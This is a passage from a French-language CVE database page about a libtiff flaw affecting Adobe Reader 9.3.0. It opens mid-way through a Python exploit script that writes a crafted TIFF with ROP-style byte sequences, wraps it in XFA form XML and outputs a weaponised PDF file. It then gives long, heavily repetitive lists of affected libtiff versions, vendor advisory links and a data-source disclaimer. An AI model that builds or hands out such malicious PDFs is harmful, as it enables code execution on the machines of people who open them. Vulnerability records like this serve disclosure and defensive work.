tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff
def gen_xml(self):
xml= '''<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>
'''
return xml
def gen_pdf(self):
xml = zlib.compress(self.gen_xml())
pdf='''%PDF-1.6
1 0 obj
<</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
stream
''' + xml+'''
endstream
endobj
2 0 obj
<</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
endobj
3 0 obj
<</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
endobj
4 0 obj
<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
endobj
5 0 obj
<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
endobj
6 0 obj
<</Kids [5 0 R]/Type /Pages/Count 1>>
endobj
7 0 obj
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
endobj
8 0 obj
<</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
endobj xref
trailer
<</Root 7 0 R/Size 9>>
startxref
14765
%%EOF'''
return pdf
if __name__=="__main__":
print __doc__
if len(sys.argv) != 2:
print "Usage: %s [output.pdf]" % sys.argv[0]
print "Creating Exploit to %s\n"% sys.argv[1]
exploit=CVE20100188Exploit(buf)
f = open(sys.argv[1],mode='wb')
f.write(exploit.gen_pdf())
f.close()
print "[+] done !"
Products Mentioned
Configuraton 0
Libtiff>>Libtiff >> Version To (including) 3.8.1
- Libtiff>>Libtiff >> Version - (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.1 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.2 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.3 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.5 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.6 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.6 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.1 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.1 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.2 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.3 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.8.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.8.1 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.4
- Libtiff>>Libtiff >> Version 3.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.1
- Libtiff>>Libtiff >> Version 3.5.1 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.2
- Libtiff>>Libtiff >> Version 3.5.2 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.3
- Libtiff>>Libtiff >> Version 3.5.3 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.4
- Libtiff>>Libtiff >> Version 3.5.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.5
- Libtiff>>Libtiff >> Version 3.5.5 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.6
- Libtiff>>Libtiff >> Version 3.5.6 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.6 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.6
- Libtiff>>Libtiff >> Version 3.5.6 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.5.7
- Libtiff>>Libtiff >> Version 3.5.7 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.6.0
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.6.0
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.6.0
- Libtiff>>Libtiff >> Version 3.6.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.6.1
- Libtiff>>Libtiff >> Version 3.6.1 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.0
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.0
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.0
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.0
- Libtiff>>Libtiff >> Version 3.7.0 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.1
- Libtiff>>Libtiff >> Version 3.7.1 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.2
- Libtiff>>Libtiff >> Version 3.7.2 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.3
- Libtiff>>Libtiff >> Version 3.7.3 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.7.4
- Libtiff>>Libtiff >> Version 3.7.4 (Open CPE detail)
Libtiff>>Libtiff >> Version 3.8.0
- Libtiff>>Libtiff >> Version 3.8.0 (Open CPE detail)
Adobe>>Acrobat_reader >> Version 9.3.0
Références
ftp://patches.sgi.com/support/free/security/advisories/20060801-01-P
Tags : vendor-advisory, x_refsource_SGI
Tags : vendor-advisory, x_refsource_SGI
http://lists.apple.com/archives/security-announce/2006//Aug/msg00000.html
Tags : vendor-advisory, x_refsource_APPLE
Tags : vendor-advisory, x_refsource_APPLE
http://www.mandriva.com/security/advisories?name=MDKSA-2006:136
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.gentoo.org/security/en/glsa/glsa-200608-07.xml
Tags : vendor-advisory, x_refsource_GENTOO
Tags : vendor-advisory, x_refsource_GENTOO
http://www.mandriva.com/security/advisories?name=MDKSA-2006:137
Tags : vendor-advisory, x_refsource_MANDRIVA
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.novell.com/linux/security/advisories/2006_44_libtiff.html
Tags : vendor-advisory, x_refsource_SUSE
Tags : vendor-advisory, x_refsource_SUSE
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11497
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
ftp://patches.sgi.com/support/free/security/advisories/20060901-01-P.asc
Tags : vendor-advisory, x_refsource_SGI
Tags : vendor-advisory, x_refsource_SGI
http://slackware.com/security/viewer.php?l=slackware-security&y=2006&m=slackware-security.536600
Tags : vendor-advisory, x_refsource_SLACKWARE
Tags : vendor-advisory, x_refsource_SLACKWARE
http://sunsolve.sun.com/search/document.do?assetkey=1-66-201331-1
Tags : vendor-advisory, x_refsource_SUNALERT
Tags : vendor-advisory, x_refsource_SUNALERT
http://sunsolve.sun.com/search/document.do?assetkey=1-26-103160-1
Tags : vendor-advisory, x_refsource_SUNALERT
Tags : vendor-advisory, x_refsource_SUNALERT
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.